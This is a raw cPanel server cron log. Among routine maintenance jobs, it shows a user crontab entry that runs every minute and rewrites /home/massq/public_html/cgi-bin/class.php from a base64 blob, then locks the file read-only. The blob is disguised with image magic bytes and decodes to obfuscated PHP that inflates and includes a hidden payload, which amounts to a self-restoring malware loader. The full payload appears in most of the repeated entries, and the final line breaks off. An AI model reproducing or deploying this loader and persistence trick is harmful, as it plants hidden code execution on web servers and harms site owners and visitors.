Sep  5 14:35:01 server CROND[446]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 14:35:01 server CROND[452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:35:01 server CROND[449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:35:01 server CROND[456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:35:01 server CROND[450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:35:01 server CROND[453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:35:01 server CROND[455]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:36:01 server CROND[1421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:36:01 server CROND[1422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:36:01 server CROND[1423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:37:01 server CROND[1803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:37:01 server CROND[1804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:37:01 server CROND[1805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:38:01 server CROND[2231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:38:01 server CROND[2232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:38:01 server CROND[2233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:39:01 server CROND[2632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:39:01 server CROND[2634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:39:01 server CROND[2635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:39:01 server CROND[2633]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 14:40:01 server CROND[3145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:40:01 server CROND[3146]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:40:01 server CROND[3151]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:40:01 server CROND[3152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:40:01 server CROND[3155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:40:01 server CROND[3154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:40:01 server CROND[3153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:40:01 server CROND[3150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:41:01 server CROND[4049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:41:01 server CROND[4050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:41:01 server CROND[4051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:42:01 server CROND[4430]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:42:01 server CROND[4431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:42:01 server CROND[4433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:42:01 server CROND[4432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:43:01 server CROND[4834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:43:01 server CROND[4835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:43:01 server CROND[4836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:44:01 server CROND[5230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:44:01 server CROND[5231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:44:01 server CROND[5232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:45:01 server CROND[5617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:45:01 server CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:45:01 server CROND[5623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:45:01 server CROND[5626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:45:01 server CROND[5629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:45:01 server CROND[5630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:45:01 server CROND[5631]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:46:01 server CROND[6486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:46:01 server CROND[6487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:46:01 server CROND[6488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode 